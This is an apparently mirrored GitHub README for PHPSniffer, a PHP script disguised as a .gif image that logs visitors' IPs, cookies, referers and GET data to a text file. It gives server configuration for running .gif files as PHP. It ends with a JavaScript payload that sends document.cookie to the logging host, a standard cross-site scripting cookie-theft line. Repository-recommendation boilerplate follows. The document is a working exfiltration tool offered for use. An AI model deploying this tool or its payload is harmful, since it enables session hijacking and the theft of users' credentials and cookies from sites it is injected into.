Giter VIP home page Giter VIP logo

phpsniffer's Introduction

PHPSniffer

Simple PHP script to receive GET data and log it to txt file.

Install

Clone from GIT:

git clone https://github.com/codebyzen/PHPSniffer

Change rights & rename: mv img.php ing.gif | chmod +x ./img.gif

To setup your Apache server use .htaccess AddType application/x-httpd-php .gif

or if PHP as CGI AddHandler application/x-httpd-php .gif

If you use NGINX use below location config:

location ~ /path/.*\.(gif|jpg|png)$ {
	fastcgi_index index.php;
	include /Applications/MAMP/conf/nginx/fastcgi_params; # just for example maybe like fastcgi_params
	fastcgi_pass unix:/Applications/MAMP/Library/logs/fastcgi/nginxFastCGI_php7.2.8.sock; # just for example maybe like /tmp/fastcgi.sock
	fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}

Create log file and set propper rights:

touch log.txt | chmod 777 log.txt

Simple Log File

Access time, IP, Server-Cookie, Cookie, Referer, User-Agent, Host, Query-String

Usage

You can direct access to script file http://site.tld/path/img.gif after that you see little smile face. If all ok log.txt file will appended with your ip, ua, time and other. To pass the useful data use GET parametres: http://site.tld/path/img.gif?c=simple%20data%you%20need. Data from c wil be added to log. If you don't need smile face image, set i=1 param to output 1x1 transparent pixel.

Simple JS script for tests: i=new/**/Image();i.src='http://host/path/img/gif?c='+escape(document.cookie)+'&i=1';

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.